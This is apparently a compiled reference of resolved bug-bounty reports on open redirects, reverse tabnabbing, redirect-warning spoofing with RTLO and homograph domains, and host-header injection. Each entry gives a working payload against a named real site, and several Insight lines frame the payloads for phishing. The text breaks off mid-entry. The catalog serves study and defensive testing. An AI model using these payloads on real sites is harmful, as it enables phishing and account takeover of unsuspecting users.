Browsers normalize backslash to forward slash, so evil.com\@trusted.com is parsed with evil.com as host and @trusted.com as userinfo, defeating filters that expect the trusted host to be authoritative.
Method
- Find logout/redirect_to param
- Craft https://evil.com\@trusted.com (URL-encode as %5C%40)
- Browser resolves host = evil.com
https://www.tumblr.com/logout?redirect_to=https://evil.com%5C%40www.tumblr.com
Insight — Combine \ (%5C, treated as /) with @ (%40 userinfo) so allowlists keyed on the trusted host still redirect to the attacker host; classic parser-confusion payload to keep in the fuzz list.
Real-world example
Tabnabbing / reverse tabnabbing via missing noopener
◆ Low
Specimen #1159398 · security · awarded · 50 votes · resolved
Program securitySurface webChain open new tab -> window.opener rewrite -> phishing on tTag account-takeover
Root cause
External links opened in a new tab without rel=noopener leave window.opener writable, so the attacker page can rewrite the original (opener) tab's location to a phishing clone.
Method
- Get target to render/open an attacker link in a new tab (target=_blank, no noopener)
- From attacker page run window.opener.location = phishing_url
- Victim returns to the original tab and finds it replaced
<a href="https://attacker.example" target="_blank">click</a>
<script>if(window.opener) window.opener.location='https://phishing.example';</script>
Insight — Anywhere a site opens user-influenced links in new tabs/windows without rel=noopener (or window.open without noopener), the opened page can hijack the original tab; older Edge/IE also allowed the reverse (#189726 lets the opened site change the still-open page).
Real-world example
Redirect-warning domain spoof via RTLO + @ userinfo
◆ Low
Specimen #299403 · security · awarded · 47 votes · resolved
Program securitySurface webTag account-takeover
Root cause
The interstitial /redirect page displays the destination host but is fooled by a right-to-left-override (RTLO) unicode char combined with the @ userinfo trick, so it highlights a trusted host while actually navigating elsewhere.
Method
- Craft url with username@ and an RTLO char (U+202E) so the visible host reads reversed/trusted
- Submit through the redirect interstitial; it shows the trusted domain
- Click Proceed -> lands on the attacker host
https://google.com@%E2%80%AE@moc.rettiwt # U+202E reverses moc.rettiwt -> twitter.com visually
Insight — Redirect-warning pages that render the target host are spoofable with bidi controls (RTLO U+202E) and userinfo @; don't trust the displayed host as a mitigation, and as a hunter use it to defeat interstitial 'are you sure' gates.
Real-world example
Charset filter bypass via non-Latin / IDN domain
◆ Low
Specimen #2331473 · 8x8-bounty · 100 · 46 votes · resolved
Program 8x8-bountySurface webTag account-takeover
Root cause
A subdomain parameter filter blocks [a-z0-9] but does not account for non-Latin (IDN) characters, so a fully non-Latin domain passes and still resolves externally.
Method
- Find redirect/subdomain param that strips or blocks latin alphanumerics
- Supply a non-Latin domain (native-script or its punycode)
- Redirect resolves to the external non-Latin domain
subdomain=नमस्ते.भारत # or its xn-- punycode form
Insight — When a filter denies Latin characters, IDN/punycode domains (native scripts, e.g. .भारत) are a general escape hatch; pair with homograph domains for phishing.
Real-world example
Open redirect via backslash-prefixed relative path
◆ Low
Specimen #3581815 · lovable-vdp · none · 44 votes · resolved
Program lovable-vdpSurface webTag account-takeover
Root cause
A post-login redirect param expected a relative path but treated a backslash-prefixed value (/\host) as protocol-relative, sending the browser to an external host.
Method
- Find a redirect param that takes a relative path (post-login, purchase-success)
- Set it to /\evil.com
- Browser normalizes /\ to // and navigates off-site
https://lovable.dev/auth/post-login?redirect=/\google.com
https://lovable.dev/purchase-success?redirect=/%5Cgoogle.com
Insight — When a redirect param only blocks obvious absolute URLs, try /\host, /%5Chost, //host, /\/host, and whitespace/control-char tricks; browsers collapse backslashes to forward slashes, turning an intended relative path into a protocol-relative URL.
Real-world example
Redirect-wrapper protection applied inconsistently + display/target mismatch
◆ Low
Specimen #541862 · pixiv · 200 · 42 votes · resolved
Program pixivSurface webTag account-takeover
Root cause
User links are normally wrapped through a jump.php redirect gate, but one content type (novels) renders raw links while the preview still shows the wrapped form, so the displayed URL differs from the real destination.
Method
- Identify the site's redirect-gate (jump.php?<url>) and confirm it wraps links in the main content type
- Find a secondary content type that renders links raw (here: novels via [[jumpuri:...]] markup)
- Set displayed text to a trusted URL but the actual href to an external host
[[jumpuri:https://pixiv.net/ > https://attacker.example/abc]] # shows pixiv.net, navigates to attacker
Insight — Redirect-sanitizers are often applied per-render-path; enumerate every place user links appear (comments vs posts vs novels vs previews) and look for one that skips the gate. Display-text vs href mismatch is the spoofing amplifier.
Real-world example
RTLO / punycode unicode to spoof the redirect-warning display
◆ Low
Specimen #635597 · x · USD 560 · 37 votes · resolved
Program xSurface webTag account-takeover
Root cause
The unsafe_link_warning interstitial decodes and displays the destination, but bidirectional/format unicode control chars (RTLO, LRM, etc.) are rendered so the shown host looks like the trusted domain while the actual navigation goes to a punycode/reversed host.
Method
- Put a redirect target through the app's link-warning/interstitial that echoes the destination.
- Prefix/embed a bidi control char (e.g. %E2%80%AE RTLO) so the displayed string reads as the trusted host.
- Confirm the Continue action navigates to the real (punycode) host, e.g. xn--... .
https://twitter.com/safety/unsafe_link_warning?unsafe_link=https%3A%2F%2F%E2%80%AEmoc.rettiwt.com
RTLO=%E2%80%AE LRM=%E2%80%8E nbhyphen=%E2%80%91 PS=%E2%80%A9
Insight — Interstitial/warning pages that show the destination are themselves a spoofing surface: bidi/format unicode makes the shown host differ from the navigated host. Test RTLO and homograph/punycode against any 'you are leaving' page.
Real-world example
Reflection in <meta content> attribute -> inject http-equiv=refresh (null-byte WAF bypass)
◆ Low
Specimen #978680 · logitech · USD 100 · 33 votes · resolved
Program logitechSurface webTag account-takeover
Root cause
A query param is reflected inside the content attribute of a <meta> tag. By breaking out of the attribute the attacker injects http-equiv="refresh" with a url= target, producing a meta-refresh redirect. Cloudflare blocked the literal http-equiv keyword, bypassed by inserting a null byte inside it.
Method
- Locate a param reflected inside a <meta ... content="...QUERY..."> tag in the HTML head.
- Break out of the content attribute and add http-equiv="refresh" with content="0;url=https://ATTACKER".
- If the WAF blocks 'http-equiv', split the keyword with %00 (or similar) so it still parses in-browser.
query=0;url=https://ATTACKER" http-%00equiv="refresh"
full: https://TARGET/search?query=0;url=https://ATTACKER"%20http-%00equiv="refresh"
Insight — A reflection in a meta tag is a redirect (and sometimes XSS) sink via http-equiv=refresh, not just a text reflection. Null bytes / control chars inside blocked keywords defeat naive WAF signature matching while browsers still parse the tag.
Real-world example
Third-party-link warning bypass via broken markdown link + PDF export
◆ Low
Specimen #1386277 · security · awarded · 29 votes · resolved
Program securitySurface webChain warning bypass -> silent open redirect (IP leak / phishinTag account-takeover
Root cause
The report renderer wraps outbound links in an interstitial warning, but appending a stray double-quote/paren to the markdown link breaks the wrapper so the raw link survives; exporting the report as PDF then renders it as a directly-clickable link with no warning.
Method
- In a markdown field, craft a link that malforms the app's link-rewriter, e.g. (https://ATTACKER").
- Export/view the content as PDF where links are rendered natively.
- Click the link: it navigates directly, skipping the third-party warning popup.
(https://ATTACKER") <!-- trailing " and ) break the interstitial wrapper; PDF export renders a live link -->
Insight — Interstitial/link-warning defenses that operate on rendered HTML can be bypassed by (a) breaking their parser with stray delimiters and (b) switching to an alternate render path (PDF/print/export) that doesn't apply the wrapper.
Real-world example
Interstitial/allowlist bypass by chaining a same-origin redirector (Zendesk cross-account)
◆ Low
Specimen #111968 · security · none · 29 votes · resolved
Program securitySurface webChain trusted same-origin link -> zendesk_session redirector -&Tag account-takeover
Root cause
Links to the app's own domain are treated as trusted (no interstitial). The trusted domain exposes a redirector (hackerone.com/zendesk_session?return_to=...) that forwards into Zendesk's /ping/redirect_to_account, which lets any attacker-created Zendesk account redirect anywhere. So a same-origin 'trusted' link becomes an open redirect with no warning.
Method
- Create a Zendesk account and add a JS/meta redirect to attacker.com in the theme header.
- Craft hackerone.com/zendesk_session?locale_id=1&return_to=https://support.hackerone.com/ping/redirect_to_account?state=<yourzd>:/ .
- Because the link is same-origin, no interstitial fires; victim is chained out to attacker.com.
https://hackerone.com/zendesk_session?locale_id=1&return_to=https://support.hackerone.com/ping/redirect_to_account?state=compayn:/
filter bypass: https://hackerone.com/%7Aendesk_session?... (%7A = 'z')
Insight — An open redirect on a trusted first-party path launders phishing past 'trusted domain' allowlists/interstitials. Chase same-origin redirectors (session bridges, SSO ping/redirect endpoints); also try URL-encoding the first path char (%7A) to slip past path-based filters.
Real-world example
Host-header injection into short-link generator
◆ Low
Specimen #210875 · rockstargames · awarded · 23 votes · resolved
Program rockstargamesSurface webTag account-takeover
Root cause
A URL-shortening endpoint built the absolute link from $_SERVER['HTTP_HOST']; supplying an attacker Host header caused the generated short link to redirect to an attacker domain.
Method
- Find the share/shorten endpoint
- Send the request with a spoofed Host header (target as a subdomain of attacker domain)
- The generated short link now redirects victims to the attacker host
GET /feed/.../share/Person/getcontent?_=... HTTP/1.1
Host: socialclub.rockstargames.com.this.is.my.domain.evil.net
Insight — Any feature that reflects or persists an absolute URL derived from the Host header (short links, emails, password reset, canonical tags) is attacker-controllable; test Host-header injection for open redirect, cache poisoning, and reset-token leakage.
Real-world example
Missing iframe sandbox lets framed preview redirect the top window
◆ Low
Specimen #437142 · gitlab · USD 1000 · 20 votes · resolved
Program gitlabSurface web
Root cause
A live-preview/embed iframe (e.g. codesandbox) is rendered without the sandbox attribute, so untrusted content inside it can call window.open('...','_top') / window.top.location and navigate the parent frame off-site.
Method
- Find a feature that renders user code/content in an iframe (Web IDE live preview, embeds)
- Put JS in the framed content that targets the top window
- Loading the preview navigates the whole page to the attacker site
// index.js served inside the previewed project
window.open("https://evil.com","_top");
// package.json marks it as main so the preview executes it
{ "main": "index.js", "dependencies": { "vue": "latest" } }
Insight — Any iframe that hosts user-controlled content needs sandbox (without allow-top-navigation). If it's missing, framed code can drive top-window navigation = instant open redirect on load, no click needed.
Real-world example
User-controlled Referer reflected into transactional-email links
◆ Low
Specimen #229498 · starbucks · awarded · 19 votes · resolved
Program starbucksSurface web
Root cause
A newsletter-signup endpoint stores the request Referer and builds the links of the resulting welcome email from it, so an attacker sets Referer to their domain and every link in the victim's email points to attacker-controlled URLs.
Method
- Submit the signup POST with a victim email and Referer: https://attacker/
- Victim receives the welcome email
- All branded links (logo, buttons) now route through the attacker domain -> credential phishing
POST /newsletter-signup
Host: rewards.www.starbucks.com
Referer: https://attacker.example/
newsletter_signup=victim@gmail.com&newsletter_placement=footer
Insight — Any transactional email whose link host is derived from a request header (Referer/Host/X-Forwarded-Host) is a phishing vector. Diff outbound email links against the header you control.
Real-world example
Open redirect via double-encoded path traversal for phishing
◆ Low
Specimen #384101 · imgur · awarded · 18 votes · resolved
Program imgurSurface webTag account-takeover
Root cause
A subdomain proxying to a backend (godoc.org) allowed double-encoded ../ path segments to redirect the trusted subdomain to arbitrary external URLs, giving a trusted-looking link that lands on an attacker phishing page.
Method
- Identify a subdomain that proxies/redirects based on the request path
- Inject double-encoded traversal (%252e%252e%2f) plus a fully percent-encoded target host/path
- Craft the URL to look like an account-verification path for phishing
http://go.imgur.com/account-verification/%252e%252e%2f%252e%252e%2f%67%69%74%68%75%62%2e%63%6f%6d%2f%6b%69%79%65%6c%6c%2f%70%71
Insight — Test redirect/proxy endpoints with double URL-encoding of ../ and of the destination host; single-decoding filters miss %252e%252e. A trusted subdomain that redirects offsite is a phishing amplifier; encode the whole payload to make the URL look benign.
Real-world example
Redirect param (back_to) accepts javascript: -> reflected XSS
◆ Low
Specimen #360797 · liberapay · none · 16 votes · resolved
Program liberapaySurface webChain open redirect -> reflected XSS via javascript: scheme
Root cause
The back_to parameter is used as a redirect/link target without scheme validation; it accepts an absolute URL (open redirect) and a javascript: URI, escalating to reflected XSS when the resulting link is followed.
Method
- Send victim /team/membership/leave?back_to=<url>
- Cancel button navigates to attacker URL (open redirect)
- Use back_to=javascript:alert(document.domain) to escalate to XSS on click
https://en.liberapay.com/team/membership/leave?back_to=javascript:alert(document.domain)
Insight — Always test redirect/return/back_to/next params with both an external URL (open redirect) and a javascript: scheme (XSS); confirmed here by the triager escalating open redirect to XSS.
Real-world example
Domain-suffix confusion (/. + attacker suffix)
◆ Low
Specimen #1637571 · 8x8-bounty · none · 15 votes · resolved
Program 8x8-bountySurface web
Root cause
A redirect builds the target as trustedhost + input, and a leading '/.attacker.com' turns the trusted host into a label of an attacker-owned parent domain (www.8x8.com.example.com), so the browser resolves to the attacker's DNS.
Method
- Register attacker.com and control *.attacker.com
- Send input like /.attacker.com to a redirect that prepends the trusted host
- Target resolves to trustedhost.attacker.com which the attacker controls
https://TARGET/.example.com -> redirects to https://www.8x8.com.example.com
Insight — If a redirect appends your input onto the trusted hostname, register attacker.com and turn the trusted host into a subdomain label of yours (trusted.com.attacker.com).
Real-world example
@ userinfo trick: trusted host becomes credentials
◆ Low
Specimen #309058 · wordpress · awarded · 14 votes · resolved
Program wordpressSurface web
Root cause
Server builds Location as trustedhost + user-input without a separating trailing slash, so an input like '@google.com' produces 'http://trusted@google.com' where the trusted host is parsed as userinfo and the browser navigates to the attacker host.
Method
- Request a path that gets echoed after the hostname in a 301/302 Location
- Supply /@attacker.com (or //whitelisted@attacker.com/../)
- Browser reads everything before @ as user:pass and navigates to the attacker host
GET /@google.com HTTP/1.1
Host: nl.wordpress.net
-> Location: http://nl.wordpress.org@google.com
# whitelisted-domain-prefix variant:
https://unikrn.com//s/doi?...&l=//www.whitelisteddomain.tld@localdomain.pw/%2e%2e%2f
Insight — Anything before an @ in the authority is userinfo. If a redirect concatenates a trusted host with your input and forgets the '/', append @attacker.com; add a fake whitelisted string before @ to beat allowlist substring checks.
Real-world example
Header-based open redirect (X-Forwarded-Host / Host)
◆ Low
Specimen #601287 · wakatime · none · 14 votes · resolved
Program wakatimeSurface web
Root cause
The application builds a redirect Location from the incoming Host / X-Forwarded-Host header instead of a fixed value, so an attacker-controlled header forces the redirect target.
Method
- Send the request through Burp Repeater
- Add or override X-Forwarded-Host (or Host) with an attacker domain
- Observe the 30x Location reflect the injected host
GET /settings/account?apikeyrefresh=true HTTP/1.1
Host: wakatime.com
X-Forwarded-Host: bing.com
# -> redirect to bing.com
Insight — When a URL param is not the redirect source, fuzz Host, X-Forwarded-Host, X-Forwarded-Server, X-Host. Same primitive also poisons password-reset links and web cache.
Real-world example
Path-normalization bypass of external-link / redirect warning (/. , /.. , //)
◆ Low
Specimen #1139520 · security · none · 14 votes · resolved
Program securitySurface web
Root cause
A redirect endpoint is guarded by an interstitial 'external link warning' whose matching is defeated by inserting /., /.. or an extra / into the path so the guard's exact-prefix check misses while the server still routes to the redirecting endpoint.
Method
- Find the endpoint that triggers a warning/interstitial before redirecting
- Insert /. , /.. , or an extra leading / into the path to dodge the guard's string match
- Optionally wrap it in a Markdown link whose visible text is a benign URL to spoof the destination
# warning shown:
https://hackerone.com/users/saml/sign_in?email=x@snapchat.com&remember_me=true
# warning bypassed (double slash):
https://hackerone.com/users//saml/sign_in?email=x@snapchat.com&remember_me=true
# warning bypassed (/.), delivered via markdown link-text spoofing:
[https://hackerone.com/reports/9128701](https://hackerone.com/users/%2E/saml/sign_in?email=x&remember_me=false)
# encoded-slash filter bypass variant: value %2f%2fevil.com blocked -> %2f%2f%2fevil.com
Insight — A redirect fix that whitelists an exact path or scans the visible URL can be dodged with equivalent normalized paths (/. , /.. , // , %2f%2f). Combine with Markdown/HTML link-text spoofing so the victim sees a trusted URL.
Real-world example
Non-HTTP scheme smuggling past a redirect-warning page
◆ Low
Specimen #459286 · semrush · awarded · 14 votes · resolved
Program semrushSurface web
Root cause
A redirect-warning interstitial validates/only displays the destination host but not the scheme or port, so exotic schemes (ftp://, vnc://, etc.) pass through and can launch OS handlers or hit non-web services.
Method
- Find the redirect-warning endpoint added as an open-redirect fix
- Supply a URL with a non-HTTP scheme and explicit port
- Warning shows only the host; the actual href carries ftp://host:port and the browser/OS may hand it to a native handler
https://www.semrush.com/redirect?url=ftp://evil.com:1337
https://www.semrush.com/redirect?url=vnc://evil.com
Insight — A 'safe' redirect-warning is incomplete if it only checks the host. Test ftp://, vnc://, smb://, and custom app schemes plus explicit ports; the warning UI may hide what the user actually launches.
Real-world example
redirect_uri allowlist bypass via #@ (fragment + userinfo)
◆ Low
Specimen #798742 · gsa_bbp · USD 150 · 13 votes · resolved
Program gsa_bbpSurface webTag oauth
Root cause
An allowlist that only checks the trusted domain appears somewhere in redirect_uri is bypassed by putting the attacker host first and pushing the trusted string into a fragment/userinfo (#@trusted...), so validation passes but the browser navigates to the attacker origin.
Method
- Identify redirect_uri / next allowlist that requires the trusted domain to be present in the value
- Craft attacker.com#@trusted.domain/path (URL-encode # and @)
- Validation sees trusted.domain substring; browser navigates to attacker.com, treating the rest as fragment
https://eb9f.pivcac.prod.login.gov/?nonce=...&redirect_uri=https%3A%2F%2Fgoogle.com%23%40secure.login.gov%2Flogin%2Fpiv_cac
# decoded: https://google.com#@secure.login.gov/login/piv_cac
Insight — When a redirect requires the trusted domain to appear in the URL, place it after # or after @ so it's inert to the browser but still satisfies a substring/allowlist check.
Real-world example
Reverse tabnabbing via window.opener on target=_blank links
◆ Low
Specimen #984947 · automattic · none · 12 votes · resolved
Program automatticSurface webTag account-takeover
Root cause
A user-controlled link opened with target=_blank and no rel=noopener/noreferrer leaves window.opener pointing at the origin tab; the newly opened attacker page rewrites the original tab's location.
Method
- Find a feature that renders user-supplied external links opened in a new tab (profile/blog/customize/external issue tracker).
- Host a page that runs window.opener.location = 'https://phish' (or .replace()).
- Victim clicks the link; while they view the new tab, the original trusted tab is silently navigated to the phishing page.
<script>window.opener.location.replace('https://attacker.example/phish');</script>
Insight — Any place the app emits target=_blank on attacker-influenced hrefs without rel=noopener is a silent redirect of the opener tab. Fix/detection tell: absence of rel="noopener noreferrer" on external links. Especially impactful on mobile browsers that hide the URL bar.
Real-world example
Tabnabbing sanitizer bypass via newline inside protocol-relative //
◆ Low
Specimen #317243 · phabricator · 300 · 12 votes · resolved
Program phabricatorSurface webTag account-takeover
Root cause
A fix that adds rel=noreferrer to external links parses the link markup, but inserting a line break between the two slashes of a protocol-relative URL defeats the parser so no rel attribute is added, re-enabling tabnabbing/window.opener abuse.
Method
- Confirm [[ //google.com | aaa ]] renders with rel=noreferrer
- Rewrite the target with a newline splitting the //
- Preview and inspect the DOM: the rel attribute is now absent
[[ /
/google.com | aaa ]]
Insight — After a link-sanitizer fix, retest with whitespace/newlines/mixed case inside the scheme (//, http:\n//, HtTp://). Parser-normalization gaps between the sanitizer and the browser re-open the bug.
Real-world example
Header-based open redirect via X-Forwarded-Host
◆ Low
Specimen #737578 · stripo · none · 12 votes · resolved
Program stripoSurface web
Root cause
Server builds its redirect Location from a client-supplied host header (X-Forwarded-Host / Referer) without an allowlist, so any external host is honored.
Method
- POST to the form/subscribe endpoint through a proxy
- Set X-Forwarded-Host (and/or Referer) to an attacker domain
- Server issues a redirect to that domain
POST /de/subscribe/ HTTP/1.1
Host: stripo.email
X-Forwarded-Host: https://www.google.com
Referer: https://www.google.com
Content-Type: application/x-www-form-urlencoded
subscribe-email=winter@example.com&_token=...&source=LANDING
Insight — When a redirect target is missing from visible params, fuzz the proxy/forwarding headers (X-Forwarded-Host, Referer, Host) as the redirect source.
Real-world example
IDN homograph phishing through URL-redirect endpoint
◆ Low
Specimen #385145 · chaturbate · awarded · 11 votes · resolved
Program chaturbateSurface webTag account-takeover
Root cause
A redirect/outlink endpoint reflects the target URL verbatim and follows it, so an IDN homograph domain (Cyrillic look-alike of a trusted brand) renders as the legitimate name while sending the victim elsewhere.
Method
- Find an outbound-link/redirect endpoint (e.g. /external_link/?url=)
- Register/point a homograph domain whose punycode differs from a trusted brand
- Feed the Unicode form as the url param so the anchor text reads as the trusted brand
- Victim clicks, is redirected to attacker-controlled look-alike
https://TARGET/external_link/?url=http://eb%D0%B0y.com/
# 'ebаy.com' uses Cyrillic small a (U+0430) -> punycode xn--eby-7cd.com
Insight — Wherever a site displays or follows a user-supplied URL, test IDN homographs. Fix/tell: render the punycode form so the deception is visible. Pairs with any open-redirect surface.
Real-world example
Protocol-relative redirect via raw IP with scheme stripped
◆ Low
Specimen #119236 · uber · awarded · 11 votes · resolved
Program uberSurface web
Root cause
//hostname is rejected/404s, but //<raw-IP> is accepted; stripping the scheme (http vs https) avoids SSL/404 errors and yields a working protocol-relative redirect to any target reachable by IP.
Method
- Test uber.com//google.com/path -> Page Not Found (hostname blocked).
- Swap the domain for its IP: uber.com//216.58.217.206/path.
- Drop the scheme so the browser uses the current one and avoids SSL/404 mismatch; use http:// form so it auto-links: http://uber.com//216.58.217.206/calendar.
http://www.uber.com//216.58.217.206/calendar
Insight — When a // redirect fails on a hostname, retry with the destination's raw IP and without an explicit scheme. The trusted domain still leads the URL, so it looks legitimate while landing on an arbitrary IP-addressable host.
Real-world example
Library-level // redirect: server echoes request.url in redirect (hekto)
◆ Low
Specimen #320693 · nodejs-ecosystem · none · 10 votes · resolved
Program nodejs-ecosystemSurface webTag supply-chain
Root cause
For extensionless HTML the hekto static server issues a 307 to this.request.url + '/'. Because the raw request path is echoed unmodified, a request for //host.com is reflected as Location: //host.com/, a protocol-relative external redirect. CVE-2018-3743.
Method
- Identify a static/handler that adds a trailing slash or normalizes by redirecting to the raw request URL.
- Request //attacker.com (double-slash path).
- Server responds 307/302 Location: //attacker.com/ -> browser navigates externally.
curl -i http://TARGET//hackerone.com
# -> HTTP/1.1 307 Temporary Redirect
# Location: //hackerone.com/
Insight — Any framework/handler that builds a redirect from the unsanitized request path (trailing-slash adders, extensionless-file handlers, canonicalizers) is a built-in open redirect for //host inputs. Audit source for redirect(request.url) / res.redirect(req.url) patterns.
Real-world example
Open redirect via protocol-relative path normalization
◆ Low
Specimen #125000 · uber · 500 · 9 votes · resolved
Program uberSurface webTag account-takeover
Root cause
A redirect endpoint normalizes a path that starts with a double slash into a protocol-relative URL, so a crafted path segment resolves to an external host in the Location header.
Method
- Request the target with a path beginning //attacker.com and an encoded traversal suffix
- Server 303-redirects with Location: //attacker.com/... -> browser navigates off-site
https://m.uber.com//youtube.com/%2F..
# -> Location: //youtube.com/%2F../
Insight — When probing redirects, try leading // (protocol-relative), %2F, backslashes and trailing /.. so a path the app treats as local normalizes into an absolute external URL. Classic tell is the Location echoing your host with a slash-prefix.
Real-world example
Open redirect accepts IDN/homograph host
◆ Low
Specimen #385372 · chaturbate · awarded · 8 votes · resolved
Program chaturbateSurface web
Root cause
The external-link redirect endpoint does not normalize/reject internationalized (punycode) domains, so a homograph host that visually mimics a trusted brand can be used as the redirect target.
Method
- Find the redirect endpoint (/external_link/?url=)
- Supply a homograph/IDN target (Cyrillic look-alike) that renders as a trusted brand
- Victim sees trusted-looking link -> redirected to attacker punycode domain
https://m.TARGET/external_link/?url=http://xn--eby-7cd.com (renders as ebay.com)
Insight — For open/allowlisted redirects, test IDN/punycode and homograph hosts (Cyrillic/Greek look-alikes). Even when the host is 'validated' visually, xn-- forms bypass naive brand checks and boost phishing credibility.
Real-world example
Reverse tabnabbing via target=_blank + window.opener with 404 decoy
◆ Low
Specimen #211065 · gitlab · none · 7 votes · resolved
Program gitlabSurface webChain reverse tabnabbing -> credential phishingTag account-takeover
Root cause
Links rendered with target=_blank and without rel=noopener let the newly opened (attacker-controlled) page rewrite the opener tab's location via window.opener, silently navigating the original trusted tab to a phishing clone.
Method
- Find user-content links rendered with target=_blank and no rel=noopener/noreferrer (e.g. Environments external URLs).
- Host a page that runs window.opener.location.assign('https://evil/login') and shows a benign 404 so the victim tabs back.
- Get the victim to click the link; the original tab is now a credential-harvesting clone.
<a target="_blank" href="https://evil.com">link</a>
<!-- attacker page -->
<script>window.opener.location.assign('https://evil.com/ph-login.html');</script>
Insight — Any app that renders user-supplied external links with target=_blank but omits rel=noopener is exploitable. Grep rendered HTML for target="_blank" without noopener; the fix is rel="noopener noreferrer".
Real-world example
Rails HostAuthorization dotted-domain regex bypass (CVE-2021-22881)
◆ Low
Specimen #1047447 · rails · awarded · 7 votes · resolved
Program railsSurface webChain host-header poisoning -> open redirectTag account-takeover
Root cause
Rails HostAuthorization turned a leading-dot allowed host ('.tkte.ch') into an under-anchored regex that Regexp.escape'd only the suffix, so a Host header like 'google.com#sub.tkte.ch' matched and was reflected into the Location redirect.
Method
- Identify a framework/app that allowlists hosts by suffix/regex (config.hosts << '.domain').
- Send a Host (or X-Forwarded-Host) header that satisfies the loose regex while starting with an attacker host, using # or other separators.
- The redirect Location reflects the poisoned host -> off-site redirect.
curl -i -H "Host: google.com#sub.tkte.ch" http://TARGET/
# -> Location: http://google.com#sub.tkte.ch/
Insight — Host/redirect allowlists built from regexes are frequently under-anchored. Probe with attacker.com#allowed.host, attacker.com.allowed.host, and attacker.com%23allowed.host against any host-header-driven redirect. Framework-level bugs like this affect every app on that version.
Real-world example
Leading-slash flood (////) bypasses redirect allowlist
◆ Low
Specimen #794144 · revive_adserver · none · 7 votes · resolved
Program revive_adserverSurface webTag account-takeover
Root cause
A redirect filter that only blocks http://, https://, or a single // prefix is defeated by four or more leading slashes, which browsers still treat as a protocol-relative absolute URL to an external host.
Method
- Find a returnurl/return_url style param.
- Prefix the attacker host with //// so the naive filter passes it.
- Browser navigates to the external host.
/www/admin/campaign-modify.php?clientid=&campaignid=&returnurl=%2F%2F%2F%2Fhackerone.com
Insight — When single // is filtered, escalate slash counts (///, ////, /\/\, /%2f%2f). Browsers collapse extra leading slashes into a protocol-relative redirect. CVE-2020-8143.
Real-world example
Nested self-redirect bypasses off-site warning
◆ Low
Specimen #339987 · expressionengine · none · 7 votes · resolved
Program expressionengineSurface webChain self-redirect -> off-site redirectTag account-takeover
Root cause
The redirect endpoint only warns when the immediate target is off-site. Chaining the URL param so the first hop is the site itself (which then redirects to evil.com) means the off-site warning never fires.
Method
- Set the redirect param to the same site's redirect endpoint, nested with the evil target.
- First hop = same-origin (no warning), second hop = external.
https://example.com/?URL=https://example.com/?URL=http://evil.com
Insight — When a redirector shows an interstitial only for cross-origin targets, nest a same-origin redirect that then bounces off-site. Also try trusted open-redirects on other subdomains as the first hop.
Real-world example
return_url in third-party app authorize/gateway flow
◆ Low
Specimen #188266 · shopify · none · 7 votes · resolved
Program shopifySurface webTag account-takeover
Root cause
An app-installation/authorize_gateway endpoint takes a return_url the user is redirected to after activating; it is not validated, and the api_key is static, so any shop with the app can be sent a crafted activation link that redirects off-site.
Method
- Install the app once to capture the authorize_gateway URL, api_key, and return_url.
- Replace the shop name with the victim's and return_url with an attacker URL (api_key stays valid).
- Victim clicks Activate and is redirected off-site.
https://<victimShop>.myshopify.com/admin/authorize_gateway/1041328?api_key=STATIC_KEY&return_url=https://evil.com
Insight — Post-action return_url/redirect_uri params in app-install, payment-gateway, and OAuth-like flows are reliable open-redirect sinks. Static api_key values make them targetable against any tenant.
Real-world example
wp_http_referer authenticated open redirect (WordPress/BuddyPress)
◆ Low
Specimen #277502 · wordpress · awarded · 7 votes · resolved
Program wordpressSurface webTag account-takeover
Root cause
WordPress/BuddyPress admin screens carry a wp_http_referer param used as the post-save 'back' link without validation, letting an attacker set it to an external URL that fires when the admin clicks Back.
Method
- Load the vulnerable admin screen with wp_http_referer=https://evil.com.
- Submit/Update, then click the Back link.
- Admin is redirected off-site.
http://instance/wp-admin/users.php?page=bp-profile-edit&wp_http_referer=https://google.com
Insight — wp_http_referer (and _wp_http_referer) is a recurring WordPress open-redirect sink across core and plugins. Grep admin screens for it; requires an authenticated admin click but still phishes internal users.
Real-world example
Fragment/userinfo (#@) bypass of redirect-URL validation
◆ Low
Specimen #1131753 · nutanix · none · 5 votes · resolved
Program nutanixSurface webTag account-takeover
Root cause
A redirect validator that only checks whether the trusted host appears in the URL is defeated by placing it after # or as userinfo (evil.com#@trusted.com, trusted.com@evil.com), where the browser navigates to evil.com but the check sees the trusted host.
Method
- Find redirectUrl/return/url param on login.
- Set it to attacker host with the trusted host tucked behind #@ or before @.
- Browser resolves to attacker host after login.
https://www.nutanix.com/tw/login?isSigningAction=Yes&redirectUrl=https%3A%2F%2Fwww.baidu.com%23%40www.nutanix.com
# variants: https://trusted.com@evil.com | /bugs?subject=/trusted.com@evil.com | %2Ftrusted.com.evil.com
Insight — The @ (userinfo) and #@ (fragment) tricks defeat 'contains trusted host' validators. Standard open-redirect/SSRF bypass set: evil.com#@trusted, trusted@evil.com, trusted.evil.com, trusted%2523@evil.com.
Real-world example
Redirect target in path segment via double URL-encoding
◆ Low
Specimen #782562 · clario · USD 50 · 4 votes · resolved
Program clarioSurface webTag account-takeover
Root cause
A post-login continuation endpoint takes the next destination as a URL-encoded value inside the request path (/auth/signin/continue/<encoded-url>) and 302s to it after decoding, with no host allow-list. Double URL-encoding hides the external URL from any naive path inspection.
Method
- Capture the post-login flow that carries a 'continue' destination in the URL path
- URL-encode the attacker URL twice and place it as the path segment after /continue/
- Submit login; server decodes and issues 302 Location to the external host
GET /auth/signin/continue/https%253A%252F%252Fevil.example.com%252F... HTTP/1.1
Host: account.mackeeper.com
-> HTTP/1.1 302 Location: https://evil.example.com/...
Insight — Redirect sinks are not always query params — check path segments and post-login 'continue/next' carriers. Try single and double URL-encoding to slip the external host past filters.
Real-world example
Single-quote-triggered URL-rewrite emits protocol-relative Location
◆ Low
Specimen #123625 · informatica · none · 4 votes · resolved
Program informaticaSurface webTag account-takeover
Root cause
A URL-rewrite rule 302-redirects any request containing a single quote to the same URL minus the quote, and builds that Location as a protocol-relative URL. Prefixing the path with // therefore yields a redirect to an arbitrary external host.
Method
- Request //evil.com plus a trailing single quote so the rewrite fires
- Rewrite strips the quote and 302s to the protocol-relative //evil.com
GET //google.com?q=ohdear&a'b HTTP/1.1
Host: marketplace.informatica.com
-> HTTP/1.0 302 Found Location: //google.com?q=ohdear&a
Insight — Open redirects can hide inside infra-level rewrite/normalisation rules (BigIP, WAF, reverse proxy), not app code. Probe with junk chars (single quote, backslash) that trigger a redirect, then combine with a protocol-relative prefix.
Real-world example
Stored XSS + open redirect via ad Website URL field
◆ Low
Specimen #819362 · revive_adserver · none · 4 votes · resolved
Program revive_adserverSurface webChain stored XSS in admin panel -> code exec / open redirect agTag account-takeover
Root cause
